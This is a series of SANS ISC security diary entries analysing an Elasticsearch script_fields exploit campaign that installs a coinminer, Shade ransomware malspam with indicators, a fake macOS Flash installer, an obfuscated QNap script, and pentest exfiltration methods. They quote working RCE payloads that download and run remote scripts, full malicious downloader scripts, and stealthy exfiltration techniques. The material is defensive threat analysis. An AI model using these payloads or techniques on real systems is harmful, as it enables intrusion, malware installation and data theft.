Published: 2018-11-30

CoinMiners searching for hosts

We've seen the Elasticsearch being exploited using queries with script_fields for a while now, but we're seeing an increased activity. 

Attacks coming from %%ip: are trying to exploit this vulnerability, and executing shell commands. We've seen the following exploits in the wild:

  • url /_search?pretty containing the payload and search query:
    "size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget -P /tmp/sssooo\").getText()"}}}
  • url /_search?pretty containing payload and search query:
    {"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"curl -fsSL |sh\").getText()"}}}
  • url /_search?source containing payload and search query:
    {"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(new String[] {\"/bin/bash\",\"-c\",((char)119+(char)103+(char)101+(char)116+(char)32+(char)104+(char)116+(char)116+(char)112+(char)58+(char)47+(char)47+(char)54+(char)57+(char)46+(char)51+(char)48+(char)46+(char)50+(char)48+(char)51+(char)46+(char)49+(char)55+(char)48+(char)47+(char)103+(char)76+(char)109+(char)119+(char)68+(char)85+(char)56+(char)54+(char)114+(char)57+(char)112+(char)77+(char)51+(char)114+(char)88+(char)102+(char)47+(char)117+(char)112+(char)100+(char)97+(char)116+(char)101+(char)46+(char)115+(char)104+(char)32+(char)45+(char)80+(char)32+(char)47+(char)116+(char)109+(char)112+(char)47+(char)115+(char)115+(char)115+(char)111+(char)111+(char)111).toString() }).getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str+\"|\");}sb.toString();"}}, "size": 1}

Decoding the last exploit you'll get wget -P /tmp/sssooo. The name of the script_field lupin could be originating of one of  the initial exploits. The request is using the useragent python-requests/2.20.1.

The command will download and execute update.sh. This bash script will kill and disable other miners, creates persistence using cron, add its own ssh public key to the .authorized_keys file and downloads the devtool (xmrig) and the config.json. Devtool is actually a (variant of) xmrig, a CoinMiner. If update.sh runs as root, files will be installed in /etc, otherwise in the /tmp folder. Now it will start the miner and configure iptables to drop ports 3333,5555,7777 and 9999. Those ports are being seen often to be used with Miner pools. When finished it will clean logs to wipe out evidence.

The same server has been targeting vulnerable Huawei devices before (/ctrlt/DeviceUpgrade_1) while trying to execute a script (


This host is also scanning for exploitable Elasticsearch instances (and also other vulnerable services). It tries to execute id to check if it returns the expected response.

  • {"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}


  • ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuna/E/UUQaGkVWuD613/07snQnMGFpOq3HlK9SNAEgXt3WwOPCHX6buuDTizo1dZFSbAK7ung0Ff4sYSN11hNeafySGivNBsRVnZGTJweUGOvXHuevIxlnEghaJ387SBNXEJwJUNLjoWbsTsYPF5GDt4RUJiLq2hVRyUQpxTX6G8MQWJ5t8A0WMGRzwxwNr7acS8NwNZ7PtedmGyXWGAnyg3CD3YT0kO+IaiX4i2mtLGNYxniHc/RK5Ba3r8LzuWvOlgXb9rGuCvGHKml+fYjQFUmGQse9Sfyqglm+rrQVQefphgEU0DG9JXvufmybc6XYqcNJfJnGIU8pz4p0QS0Q== root@s137446.wholesaleinternet.net" 

If you have any data, let me know. 

Remco Verhoef (@remco_verhoef)
ISC Handler – Founder of DutchSec


Published: 2018-11-29

Russian language malspam pushing Shade (Troldesh) ransomware


Shade ransomware was spotted in the wild as early as 2014, and it was first called Troldesh.  I previously wrote an ISC diary on malicious spam (malspam) pushing Troldesh ransomware two years ago in November 2016, and I also documented a later example in March 2017.

However, Shade/Troldesh ransomware has been spotted in the wild since then.  I searched Twitter and found a handful of sightings in the past few weeks.  Today's diary reviews recent examples from a campaign using Russian-language malspam to push Shade/Troldesh, and it also examines an infection from Wednesday 2018-11-28.

Shown above:  Flow chart for the Shade/Troldesh infection I saw in my lab.

Recent campaign since October 2018

This investigation started after I ran across a Russian language email with an attachment that caused a Shade/Troldesh ransomware infection after I checked it in my lab environment.  I hadn't paid much attention to this ransomware family in a while, so I decided to look into it.

My first step in the investigation was checking URLhaus. There I found approximately 50 URLs reported as an executable and tagged either Shade or Troldesh (or both) since October 2018.  Many of these URLs ended with sserv.jpg, and a search on that revealed 71 URLs reported since 2018-11-01.  I added more URLs after my investigation.  Not all of these URLs reported to URLhaus were tagged Shade or Troldesh, but they fit the same general pattern that I'd seen from my infection traffic.

Searching through VirusTotal Intelligence, I found Russian language malspam with attached zip archives pushing Shade/Troldesh ransomware since at least 2018-10-30.  I collected 12 examples to investigate for this diary.

Shown above:  Data from 12 malspam examples I collected.

The malspam

The emails are in Russian, and they claim an order or a request from a bank.

Shown above:  Screenshot from one of the emails.

Shown above:  The attached zip archive contains a .js file.

An infected Windows host

Potential victims would need to be on a vulnerable Windows host with poor security measures.  Victims would open the attached zip archive, then they would need to double-click the JavaScript (.js) file contained in the archive.  This causes their Windows computer to retrieve Shade/Troldesh ransomware and become infected.  The ransomware infection quickly becomes obvious.

Shown above:  Desktop of an infected Windows host.

Shown above:  All encrypted file named end with .crypted000007

Shown above:  The ransom payment instructions are written in both Russian and English.

Shown above:  Tor page where victims would start a discussion about the ransom payment.

Shown above:  Malware from the infection persistent on the infected Windows host.

Shown above:  Certificate data from one of the malware executable files.

Infection traffic

Almost immediately after the initial Shade/Troldesh malware binary is retrieved, the infected host generated Tor traffic.  Then the infected host checked it's IP address and generated encrypted SMTP traffic to smtp.mail.ru.

Shown above:  Filtered in Wireshark, the initial infection traffic after a .js file was executed.

After four cycles of IP address checks and SMTP traffic, the infected Windows host generated a great deal of web traffic.  This reminded me of click-fraud traffic.

Shown above:  Possible click-fraud traffic approximately 5 minutes later.


The following are indicators from this malspam campaign and the associated infections:

  • Examples found dated as early as 2018-10-30
  • Various spoofed sending email addresses

Attachment names noted so far:

  • zakaz.doc.zip
  • Gazprombank.zakaz.docx.zip
  • otkritie-zapros-16-11.docx.zip
  • Okritie.zakaz.docx.zip

Some SHA256 hashes for attached zip archives:

  • 249b86cc2bd5b28f77b9a61b1b66ed704aefe0be27e44e4e620c65b61b089b92
  • ff87a5ca1ee240be8f788c3c3affeee46dea2a63c8cd9963130dcb223388dc6f
  • b339aa8060210319472e5fcf935e509c95224c6933fc16e9468d8b48773a5950
  • c70163783d5ce1307802a551b8ef0c080a3881ed90c41685e2624135ea5fd6e2
  • 4179695f015fb1c8337be67a2e974fcf5dc4fa4b116f6223763b10e67d76b1a1
  • 1f5de330ceef0c53799c53d54b47531656d9a1b8b271be59dc99cf90aafd12a9
  • b3cfdcd6ffd0e08a55fb9d27a02883e7a7eaecf6fd14a4613984b3ed67feb166
  • 3dc38475216d694062172bdc78ae4204755b026b544737ed5891c744acc49eca
  • 0b72cc16d752ef266bcc655075c53658ecc05d28c57b9bc73806f15a03f5ab4a
  • 1dff4e9d17948095a247edeb23c38e940ea163d6b103869e4abc8aa597a630cb
  • 4cd6e03e7ce7e808e8c8c1f3f21bbecdc7b385f156bcc7ee2390c8c6316fd60c
  • 5f50dcf06dd5fb51b26f815fd8ff6d4a5afa7301e9c7923ea8f75b2b1e224f82

Some SHA256 hashes for extracted JS files:

  • db5fa717b638d86af42cb1db96002d7e264f9b474bbd34bf3a229bbea0fcc3fc
  • ca3becff92c6fae2434e57cdc34f1a1ed96d4bf64bb6c0806dd220c71197faa0
  • 2dbdd1d06b37835efeb029ce06ad4d8b6eb334e7702f62e8b1572c2b9c0f0983
  • 4183405b950db6a04d762bb97d27e144a98419755afa7b02a2e353ac2eb2cb08
  • 79cf9a53a96bd9aa7c9f04a90bd3b29f6b48eeb35ac41adba03de143578f60a1
  • 6d0205bca14df731a4aae8a7d8b0e9b5bbc3599a70c89dd2d2ffc4f6290df588
  • c5c0d0ee70e9e9a25263bca43009061dce8758f839d265ed154d6d064bc31280
  • 592fb4fea1d8c9a9a12e55cf4c2817f0f6467d344460c711d4192dd9ebda32e9
  • 8a4863db3d778387f9d2809481a08a585f20a31022de603c50b9b07f2f4c2860
  • 29feff2c97027661301e2baa1b83bdf40ffb1a56afcfec6ba7811ceaf7bb0c87
  • 13d674b64e66a97d40fb6f38237b450a3af95310d7ed008954c8ab2760361165
  • e51f36811056d71c970791223da17c3f5b4d84394063a42eb8f2c432e97dba7a

URLs generated by the above extracted JS files:

  • hxxp://bosnasport[.]info/wp-content/plugins/ad-inserter/css/images/chrome.jpg
  • hxxp://deepakasso[.]com/wp-content/themes/advisor/fonts/chrome.jpg
  • hxxp://www.mrtaotao[.]com/wp-content/themes/pacify/images/sserv.jpg
  • hxxp://azhub[.]us/.well-known/pki-validation/sserv.jpg
  • hxxp://yueltoursandtreks[.]com/components/com_ajax/sserv.jpg
  • hxxp://fnbadventure[.]com/components/com_ajax/sserv.jpg
  • hxxp://xn--e1adigbdjz5k[.]xn--p1ai/includes/sserv.jpg
  • hxxps://inspierasibunda[.]win/wp-content/themes/superfast/images/sserv.jpg
  • hxxp://www.izmirlipilavciadnan[.]com/wp-content/themes/twentyseventeen/assets/css/sserv.jpg
  • hxxp://conseil-btp[.]fr/wp-snapshots/sserv.jpg
  • hxxp://nexusonedegoogle[.]com/wp-includes/ID3/sserv.jpg
  • hxxp://tuhoctiengduc[.]asia/wp-includes/ID3/sserv.jpg
  • hxxp://immergasteknikservisibursa[.]com/js/views/sserv.jpg
  • hxxps://chasehematite[.]com/wp-content/themes/rara-business/sections/sserv.jpg
  • hxxp://ansaigon[.]com/templates/tm_parallaite/features/sserv.jpg
  • hxxp://buivanhuy[.]com/templates/boker/css/fontawesome/css/sserv.jpg
  • hxxp://grandholidayvacations[.]in/AdminEmail/admin/css/sserv.jpg
  • hxxp://rhinoarabia[.]site/code.jquery.com/sserv.jpg
  • hxxp://tiesmedia[.]com/sserv.jpg
  • hxxp://lilaafit[.]xyz/wp-content/themes/twentyseventeen/template-parts/footer/sserv.jpg
  • hxxp://marosprint[.]hu/templates/siteground-j15-138/css/sserv.jpg
  • hxxp://test.kalaakart[.]in/sserv.jpg
  • hxxp://vincity-oceanpark-gialam[.]com/wp-content/cache/blogs/sserv.jpg
  • hxxp://mysmilekart[.]com/journal/cache/sserv.jpg

SHA256 hashes of Shade/Troldesh ransomware retrieved from any of the above URLs on still active on 2018-11-28:

  • 0b5ed93a5da40cec20f414028fab9ada951745455c8e982ff67ac39590b9768a
  • 1e01f8ef1610dce5983c628f55d187757af14e3f0ee1bd94e63435bf647177cf
  • 94e39e9710ab725aefe4d7dffe3b93e447210e3b322666b9c8d42b3622094878
  • 981e0d084f78e268294fe3c0a5ecc4869bb189aff927a6b6a5da0cad61b4fca4
  • a39dc4dc4e01a6c0c819c1fa9faa63811dd2978af85d4474cdc4dfa3dd0601a2
  • af02d3501fc954f435a0569fd727af9377d54891b4690ccbf7e3e10bf1f6c0dc
  • d5fe31471af8abcd884108fbbfe776c3df6c988a865e401fc83ccbdfe030ed4e
  • f140cab283c35c92dc74db53b6d9964706538554d4151a637a406b093746692b
  • fec5824e87550fc4981606030d7b74f6d00b001de536916b95f7c1d24a8113d8

Malware from an infected Windows host:

SHA256 hash: 5f50dcf06dd5fb51b26f815fd8ff6d4a5afa7301e9c7923ea8f75b2b1e224f82

  • File size: 2,645 bytes
  • File name: Okritie.zakaz.docx.zip
  • File description: Attached zip archive from one of the emails

SHA256 hash: e51f36811056d71c970791223da17c3f5b4d84394063a42eb8f2c432e97dba7a

  • File size: 5,317 bytes
  • File name: [garbled characters].js
  • File description: Extracted JS file from the attached zip archive

SHA256 hash: d5fe31471af8abcd884108fbbfe776c3df6c988a865e401fc83ccbdfe030ed4e

  • File size: 1,405,704 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\rad012AB.tmp   (random hex digits)
  • File location: C:\ProgramData\services\csrss.exe
  • File description: Initial Shade/Troldesh executable retrieved by the JS file

SHA256 hash: 2824a8ce0e65bb185a88ff1fe5f1df202405c42b6705a420dbc07c565a44b240

  • File size: 1,635,840 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\0123ABCD.exe   (random hex digits)
  • File location: C:\ProgramData\Windows\csrss.exe
  • File description: Additional malware found on the same infected Windows host

Tor domains from the decryption instructions:

  • cryptsen7fo43rr6.onion.to
  • cryptsen7fo43rr6.onion.cab

Email address from the decryption instructions:

  • pilotpilot088@gmail.com

Final words

12 email examples, a pcap of network traffic traffic from an infection, and the associated malware/artifacts are available here.

I checked the 28 URLs I found ending in .jpg for delivering the initial Shade/Troldesh malware binary.  17 of them still returned the ransomware executable.  All URLs have been submitted to URLhaus, so hopefully they'll all get taken off-line soon.  These URLs will not work if you copy/paste them into a browser, because the servers hosting this malware are looking for the right User-Agent string.  You'd have to use a tool like curl to spoof the correct User-Agent string and get the malware.

Shown above:  An example of using curl to retrieve these ransomware binaries.

Russian language malspam pushing Shade/Troldesh ransomware is not anything new.  As mentioned earlier, I posted a diary about it back in 2016 and I doubt it ever really disappeared for long.  Nor is this malspam limited to Russian malspam.  The example I documented in 2017 was from English language malspam.  This diary is yet another reminder that the criminals behind this malware remain active and are still trying to infect vulnerable Windows hosts.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2018-11-27

Data Exfiltration in Penetration Tests

In many penetration tests, there'll be a point where you need to exfiltrate some data.  Sometimes this is a situation of "OK, we got the crown jewels, let's get the data off premise".  Or sometimes in this phase of the test the goal is "let's make some noise and see if they're watching for data exfiltration - hmm, nothing yet, let's make some LOUDER noise and see (and so on)".  As with most things, there's a spectrum of methods to move the target data out, with various levels of difficulty for detection.

At the basic end of the spectrum, moving the data in clear text is a good test at the "are they even monitoring" end of things.  "Living off the land" (using natve operating system tools) is usually the prefered approach in my gigs - so the obvious method is to try ftp - there's an ftp client on pretty much every workstation and server OS on the planet.  If you are moving identified target data (credit card information, customer account information, other PII, engineering drawings, source code or other intellectual property), this should trigger some DLP (Data Loss Protection) detection at the perimeter - often this is coded into the firewall.

What else should see this?  Really outbound FTP shouldn't work - your client should have an egress filter on their firewall - outbound clear text file transfers to random hosts shouldn't be allowed.  But say they it's allowed.  Firewall logs will definitely show the transfer, but if there's no egress filter chances are nobody's watching the logs of the "noisiest" piece of infrastructure in the fleet - firewall logs can easily top 5GB per day, even in a small-ish organization.

A simple "cat todayslog.txt | grep /21 | grep -i permit" will show your successful exfil in the logs.  If there's an egress filter, you'd be looking for a blocked transfer, which would look more like:
cat todayslog.txt | grep /21 | grep -i deny

If the client has Netflow running for their perimeter, Netflow will show to/from traffic by protocol, so if they're running netflow telemetry from the firewall to a collector, your client will have you on film, with pictures (again, if they are looking).

OK, say you need to ramp it up a notch?  If you're able to transfer any tools in (or if you've popped a linux host), netcat (or ncat if you've got an nmap install you can use) is your friend - or you can use any number of PowerShell or Python implementions of netcat if you'd rather stick to running native tools.  This will allow you to exfiltrate data, still in clear text to a host ready to receive it - it just won't look like FTP.

This will be tougher to see, because you're exiting out on a different port.  You might think "let's pick 1337, that's a really cool "leet" port", or some other random port.  But that will pop up as an outlier in any tool if they're looking at traffic.  Not only will DLP see the data right away, but it'll pop up as "odd" to any log monitoring tool or netflow collector.

Maybe source it from a random port and use 80 or 443 as a target port?  We still see lots of folks that say "tcp/443 is encrypted, we won't even inspect it".  Or better yet, if you are exfiling from a server with an inbound web service, using ncat or similar, with the ports reversed - source port of 443 and destination some random port - to an unsusecting eye or poorly configured tool, this will look like inbound traffic to a legitimate service.  Except maybe for the volume of data leaving that is...

Let's scramble the data - - maybe they won't detect these same cleartext methods, but let's base64 the data first?  If you are operating from a customer *nix server that's easy, but if you're on a windows host, you can base64 encode data just using certutil (included on every windows host on the planet:
certutil -encode c:\foodata.binortext c:\fooscrambledata.asc
certutil -decode c:\fooscrambleddata.asc unscrambleddata.txtorbin

Powershell is a nice tool for encoding and decoding also - first, let's encode:

PS L:\datareadytoexfil.source> $test = "this is some target data.  for larger files, use get-content instead of direct assignment"
PS L:\datareadytoexfil.source> $test2 = [System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes($test))
PS L:\datareadytoexfil.source> $test2

Now, after you've moved the data, you'll need to decode that data:

PS C:\exfil.destination> $test3 = [System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String($test2))
PS C:\exfil.destination> $test3
this is some target data.  for larger files, use get-content instead of direct assignment

(Thanks Jeffrey Snover and his 2006 blog post on this!   https://blogs.msdn.microsoft.com/powershell/2006/04/25/base64-encodedecode-a-string/  )

OK, lets say that your client is equipped to see all of this so far (base64 encoding really should be triggering alarms) -  how would you kick it up a level and exfil data using real encryption?  

An SSH Tunnel or a straight up SCP file transfer is a favourite for this.  Hopefully the client has a simple rule on their firewall though that only allows this from specific hosts or specific user accounts.  This would mean that your transfer will either be a block/alert thing for them, or worst case a permit/alert thing.

If they permit it, you can try just uploading yoru data to a public HTTPS repo.  Mostly a well configured firewall should catch this though - for instance:

  • dropbox, onedrive and the like - traditional clients should normally have a "we store our data here" policy - so this sort of site really should be blocked unless your compromised account is in a group with access to one or more of these general purpose "stash your files here" sites.  Of course if your client has a "the cloud is sparkly and can do no wrong" outlook, this is the perfect way to exfiltrate your data.
  • Similarly, github should be restricted for most users - however, if you can compromise a developer account it makes a dandy target and will usually work.

What if you're trying to trigger an alert?  OK, try sending your exfil via https to pastebin - - there shouldn't be a legitimate need to access pastebin for most folks.  Hopefully any well configured firewall will block and alert on this one!

What's the next most difficult method to see?  OK, we'll go back to cleartext for this one, but most folks won't be looking at their own remote access VPN for data exfiltration.  If they use a single factor authentication (userid and password, usually back-ended with active directory), then this a great method of moving lots of data.  Because why would they block that, in most cases management is in favour of people working after hours from home!  That is until you ask what happens if that salesperson who left last week managed to exfil your entire client list, current pricing matrix and maybe all the RFPs that are currently in flight?  (this exfil method is a great way to make this point)

Let's say you want to use an encrypted data transfer direct to your $evilserver?  OK, curl will do that, but it'll look like curl.  Changing the useragent will help, but changing it to match firefox or chrome won't change the $evilserver destination.  hmmm - what service is usually whitelisted right near the top of the firewall list?   Yup, you guessed it, let's make our traffic look like Windows Update -let's change the user agent to look like a Microsoft BITS (Background Intelligent Transfer Service) file transfer.  Change the curl useragent to "Microsoft BITS/7.5" and very likely you won't have any trouble at all getting your data out.  Often you don't even need to encrypt it, send it out in clear text on port 443 with that useragent, and you'll sail past everyone's "Next Generation" firewall, IPS or whatever.

You can move data using BITSADMIN (in most Windows versions), or if you are in a newer windows version, just use the BITS commands in Powershell.

Other methods?  If there's an inbound RDP service (either native or an RDS gateway), RDP in, and map a drive back to your client with "net use v: \\tsclient\sharename".  Now you can use xcopy, robocopy or whatever to move data in or out, and it'll all be encrypted using a legitimate protocol that the client expects to see, and very (very) likely is not decrypting.  Their only hope of detection will be the target address.  If their RDS gateway allows full access from the internet, then they're out of luck.  You'd also be surprised how many organizations allow *outbound* RDP (no matter how bad that idea is) to any target host.  If that's the case, you can RDP back to your $evilserver from any internal customer host, map a drive back to the client host and move data using this exact same method!

One thing to note - we discussed these things more or less in order of difficulty, this isn't normally the order you try things in.  Most often, I'll start with the toughest ones to detect, then work my way down successively to the easier ones until I'm "caught".  In most cases, you *want* to be caught at some point, so that you can have the conversation about what was seen and was not seen.  If you get all the way down to a plain old FTP of cleartext data and are still undetected, it's time for a serious conversation about perimeter configs, logging and alerting :-)

A common thread to all of this is that if your client has a "next gen" firewall, they are not safe.  If you've compromised AD, usually you can create a dummy user and put that user in a group that has permissions to exfiltrate the data, so that the firewall just lets it sail on through.  Change logging in AD should alert your client to this sort of activity. Or if you're able to leverage your AD access to then login to the firewall as an admin, you'll be able to (with permission of course), permit your exfiltrated data to pass outbound with no logging or alerting, then delete that rule.  Change logging on your firewall should catch this immediately.  If you aren't logging admin activities on the firewall, or at least backing up your firewalls and running "diff" against yesterday's backups, then you need to be doing that (this really is a recommendation we were making 10-15-20 years ago).

What did I miss?  Sure, you can do exactly this job with metasploit, unicorn or any number of other tools, but if possible I try to stick with what I can use on the host OS - the things that the client expects to see either from regular users or regular system administrators.   Using native tools to accomplish malicious goals will usually make a bigger impact in your report.

Even with that "living off the land' approach, I'm sure that I've missed other methods of data exfiltration - what native methods have you used to exfiltrate data?  What methods worked, what methods got caught and how?  Use our comment form to fill us in!

Rob VandenBrink


Published: 2018-11-27

More obfuscated shell scripts: Fake MacOS Flash update

Yesterday, I wrote a diary about a nice obfuscated shell script[1]. Today, I found another example of malicious shell script embedded in an Apple .dmg file (an Apple Disk Image[2]). The file was delivered through a fake Flash update webpage:

The quality of the fake page is quite good. All links redirect to the same URL which downloads a first file called ‘Adobe Flash Player.dmg’ (SHA256:6f3ff669d3de26aac6ac4a5a7e902476df710f8c5dd9295cf5918abeebf8a638) with a VT score of 1/56![3]. This image, once mounted, entices the user to execute a script called ‘Install.command’. Here is the script content:

 1: #!/bin/bash
 2: dlDomain="$(echo "U2FsdGVkX1/fbXNpkXRL0cKWwNEaD2rneZpajkkAapbX8Uif/MGaZ6B/u1oEWglI" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 3: dlPath="$(echo "U2FsdGVkX1/I3nNeY0LjXYTpVzpZfUfhQg4pLf6/CW8=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 4: dir="${TMPDIR}/$(echo "U2FsdGVkX1/BbufKaA/GsaQ/KA42v1XVGa3Qhf8BpTk=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 5: dlUrl="http://${dlDomain}/srv/?t=1&ts=$(date +%s)"
 6: tmpDmg="${dir}/stmp.dmg"
 7: volpath="${dir}/vol_tmp"
 8: if [[ -e "${volpath}" ]]; then
 9:     /usr/sbin/diskutil unmountDisk force "${volpath}" 2>/dev/null
10: fi
11: rm -rf "${dir}" 2>/dev/null
12: mkdir -p "${dir}" 2>/dev/null
13: curl -s -L -o "${tmpDmg}" "${dlUrl}" 2>/dev/null
14: /usr/bin/hdiutil mount -nobrowse -noautoopen -mountpoint "${volpath}" "${tmpDmg}" >/dev/null 2>/dev/null
15: export MM_MNT="$( cd "$(dirname "$0")" ; pwd -P )"
16: open "${volpath}/Install.app" &
17: exit

In this case, the obfuscation is achieved by using openssl  to decrypt strings:

$ echo $(echo "U2FsdGVkX1/fbXNpkXRL0cKWwNEaD2rneZpajkkAapbX8Uif/MGaZ6B/u1oEWglI" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)

The complete URL is: hxxp://ktsjz[.]neverpromo[.]site/sdl//?t=1&ts=1543349208

This URL delivers the second stage called ‘Downloader.dmg’ (SHA256: 250424abd1c1d8cce3cf420074fea09d9ffc65ad1ab2d3567ff87e07cd465583) which has also a very low detection rate on  VT (2/56)[4]. The archive is mounted and the app called ‘Install.app’ is launched. Guess what? This application contains another malicious shell script:

 1: #!/bin/bash
 3: dlDomain="$(echo "U2FsdGVkX1+bZSZsHPElxMgBO04iDny+agTwQwJ5bBNzHrXlufS3jK7g+aqAUv3a" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 4: dlPath="$(echo "U2FsdGVkX1+1qF8c9G0+nqJuKOA863HBjvH4YOwpVDI=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 5: dir="${TMPDIR}/$(echo "U2FsdGVkX1/BbufKaA/GsaQ/KA42v1XVGa3Qhf8BpTk=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 6: dlUrl="http://${dlDomain}/${dlPath}/$(echo "U2FsdGVkX1+7smzlk7/zrR2CLjVehYE/RDEtwdVOKaI=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)?ts=$(date +%s)"
 7: binPath="${dir}/$(echo "U2FsdGVkX1/nwDtMZ8mYzGJ+oh9M6mtIcw3eQZkC0F9xwxw9sMDSvOlDDyfFIUfWlTsGJvTEGyE/6sB+GqnNypdwBByScF6pHs7cW5NmB2Y=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 8: tmpFile="$(echo "U2FsdGVkX18GOWxDFc0ToHZlyhqxR87hJnCqpxyZ3oE=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 9: if [[ -e "${dir}" ]]; then
10:    rm -rf "${dir}"
11: fi
12: mkdir -p "${dir}"
13: curl -s -L -o "${dir}/${tmpFile}" "${dlUrl}"
14: tar -xvzf "${dir}/${tmpFile}" -C "${dir}"
15: chmod +x "${binPath}"
16: "${binPath}"

The same obuscation technique is used and a third stage is downloaded from: hxxp://hyfie[.]cementvendor[.]site/sdl/mmStub.tar.gz?ts=1543349647

The downloaded file is mmStub.tar.gz (SHA256: 5df3f1108710795106ff203cfffdf3d691d490c1c353bee290704929af5f1384). The VT score is better: 13/58[5]. It's another MacOS app that contains the final malware:

$ tar tzvf mmStub.tar.gz
drwxr-xr-x  0 avivais staff       0 Nov 21 20:02 mm-install-macos.app/
drwxr-xr-x  0 avivais staff       0 Nov 16 04:32 mm-install-macos.app/Contents/
drwxr-xr-x  0 avivais staff       0 Nov 16 04:32 mm-install-macos.app/Contents/_CodeSignature/
drwxr-xr-x  0 avivais staff       0 Nov 21 20:02 mm-install-macos.app/Contents/MacOS/
drwxr-xr-x  0 avivais staff       0 Nov 21 15:39 mm-install-macos.app/Contents/Resources/
-rw-r--r--  0 avivais staff    1626 Nov 21 15:39 mm-install-macos.app/Contents/Info.plist
-rw-r--r--  0 avivais staff       8 Nov 21 15:39 mm-install-macos.app/Contents/PkgInfo
-rw-r--r--  0 avivais staff   34830 Nov 21 15:39 mm-install-macos.app/Contents/Resources/MainWindow.nib
-rw-r--r--  0 avivais staff   80945 Nov 16 04:32 mm-install-macos.app/Contents/Resources/locked.icns
-rw-r--r--  0 avivais staff   25473 Nov 21 15:39 mm-install-macos.app/Contents/Resources/__TBT_Template_Base.nib
-rw-r--r--  0 avivais staff    8971 Nov 16 04:32 mm-install-macos.app/Contents/Resources/__TBT_RequestForm.nib
-rw-r--r--  0 avivais staff  116489 Nov 16 04:32 mm-install-macos.app/Contents/Resources/mm-install-macos.icns
-rwxr-xr-x  0 avivais staff  294080 Nov 21 20:02 mm-install-macos.app/Contents/MacOS/mm-install-macos
-rw-r--r--  0 avivais staff    3786 Nov 21 20:02 mm-install-macos.app/Contents/_CodeSignature/CodeResources

The executable file is mm-install-macos (SHA256: a034a89257383f06154576f551b4389201d49415fc5659cb035d00f56865958b) and is indentified as "Mac.Bundlore.L".

[1] https://isc.sans.edu/forums/diary/Obfuscated+bash+script+targeting+QNap+boxes/24348/
[2] https://en.wikipedia.org/wiki/Apple_Disk_Image
[3] https://www.virustotal.com/#/file/6f3ff669d3de26aac6ac4a5a7e902476df710f8c5dd9295cf5918abeebf8a638/detection
[4] https://www.virustotal.com/#/file/250424abd1c1d8cce3cf420074fea09d9ffc65ad1ab2d3567ff87e07cd465583/detection
[5] https://www.virustotal.com/#/file/5df3f1108710795106ff203cfffdf3d691d490c1c353bee290704929af5f1384/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-26

Obfuscated bash script targeting QNap boxes

One of our readers, Nathaniel Vos, shared an interesting shell script with us and thanks to him! He found it on an embedded Linux device, more precisely, a QNap NAS running QTS 4.3. After some quick investigations, it looked that the script was not brand new. we found references to it already posted in September 2018[1]. But such shell scripts are less common: they are usually not obfuscated and they perform basic features like downloading and installing some binaries. So, I took the time to look at it.

Nathaniel provided us a ZIP archive with two scripts but, once deobfuscated, they generated the same output.

The first script was called ‘autorun.sh’ (SHA256: 94e901ada005120126234e8cbbc3b2142b00ed336922a0e3f400439c7061b849) and the second one ‘K01YgToEc.sh’ (SHA256: 1ccc3d2978edf38104e0e4b9c77146737ea6a6e880d172e485f4a67dc4e33359). Both are unknown on VT when I’m writing the diary. They use the same technique to obfuscate the code:

  • Shell variables are made of random characters
  • The code is polluted with undefined variables (so returning an empty string when printed). Example: ${uIHNPnfezwbcmn}
  • Characters are replaced with their hex value. Example: \x72 -> ‘r'
  • Some variables contain characters in octal value. Example: EpSHer=\\133 -> ‘['

Here are the first lines of the script:

$ head -10 autorun.sh
 1: #!/bin/sh
 3: XdLVBKAo=tr${PotjEjbZl}
 4: ZjZfCafE='\'
 5: EpSHer=${qIFMKMhiLQYkzZr}${ZjZfCafE}${KrVViRvQs}133
 6: lmkYrG=${FKgWKTtpzobrKUK}${ZjZfCafE}${njJfCTyAr}055
 7: mbcHAcrP=${GGsIVGSsokYhAJV}${ZjZfCafE}${mFfYGGKTf}134
 8: $XdLVBKAo 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh
 9: GU/Q[b/&r;;w<apCJuKmOLkoSi
10: Ma|a}pC]Yr'%<[IXM"{a|bJfnpCQlia'V|LVpC%wMhKX|}ipCkb]Q%<VtQuZ|fndpChk<"|\MLfndL&pCISMSaZ'M(Y`|dp]Pmo*OSpxxfndpCiw+aIJ[Z|L&pCo=K(|dpC%T[{|fn+bpCh'P*|&pCY(o[qZO}`]oovw|LpCH*X>YT|dfnw<aapCh}=&'X`q 

At a first read, it seems very complex but, once all the junk code removed (see the list above), you discover that the script is obfuscated via a simple ’tr’ command. ’tr’ is a command useful to translate characters in a string like:

